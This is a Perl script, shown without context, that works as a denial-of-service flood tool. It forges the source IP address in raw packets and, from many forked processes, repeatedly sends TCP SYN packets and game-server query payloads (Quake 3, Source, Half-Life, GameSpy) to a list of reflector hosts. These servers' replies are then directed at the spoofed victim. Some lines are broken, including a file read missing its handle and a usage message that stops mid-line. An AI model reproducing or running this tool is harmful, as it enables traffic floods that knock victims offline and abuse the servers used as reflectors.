#!/usr/bin/perl -w use Benchmark; use Net::RawIP; use Time::HiRes qw ( usleep ); my $rand = int( rand 0x400 ); my $frag = 0; my $doff = 0x05; my $ttl = 0xFF; my $tos = 0x08; my $pid; my $tx; my @list; my @running; my @pids; my %attack = ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 ); if ( @ARGV < 7 || @ARGV > 7 ) { &usage(); exit; } $tx = $ARGV[3]; my $t0 = new Benchmark; print "\n*** Now Reading Hosts Into Array\n\n"; open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n"; chomp( @list = ); close(ELITE); sub tcp { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl }, tcp => { dest => $port, source => $ARGV[1], syn => 1, ack => 0, fin => 0, rst => 0, psh => 0, urg => 0, doff => $doff } } ); $a->send( 0, $tx ); } sub quake3 { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, }, udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10), } } ); $a->send( 0, $tx ); } sub source { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, }, udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), } } ); $a->send( 0, $tx ); } sub hl { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, }, udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", } } ); $a->send( 0, $tx ); } sub gs { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, }, udp => { dest => $port, source => $ARGV[1], data => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92), } } ); $a->send( 0, $tx ); } sub gs2 { my ( $ip, $port ) = @_; my $a = new Net::RawIP( { ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, }, udp => { dest => $port, source => $ARGV[1], data => chr(254) . chr(253) . chr(0) . chr(67) . chr(79) . chr(82) . chr(89) . chr(255) . chr(255) . chr(255), } } ); $a->send( 0, $tx ); } sub paxor { my $type = $_[0]; unless ( $type eq "mixed" ) { while (1) { foreach (@list) { $attack{$type}->( split( ':', $_ ) );} } } else { my @part; while (1) { foreach (@list) { @part = split( ":", $_ ); $attack{ $part[2] }->( $part[0], $part[1]); } } } } for($number = 0;$number < $ARGV[5];$number++) { $pid = fork(); if ( $pid == 0 ) { $SIG{INT} = \&controlsub; &paxor( $ARGV[4] ); my $t1 = new Benchmark; my $td = timediff( $t1, $t0 ); print "\nTotal Time: ", timestr($td), "\n"; sleep(5); exit; } else { push(@pids, $pid); } } sleep( $ARGV[6] ); foreach(@pids) { kill( "INT", $_ ); } exit; sub controlme { $SIG{INT} = \&controlme; print "Signal Caught Now Exiting\n"; my $t1 = new Benchmark; my $td = timediff( $t1, $t0 ); print "\nTotal Time: ", timestr($td), "\n"; sleep(5); exit; } sub controlsub { $SIG{INT} = \&controlsub; exit; } sub usage { print << "HEREDOC"; $0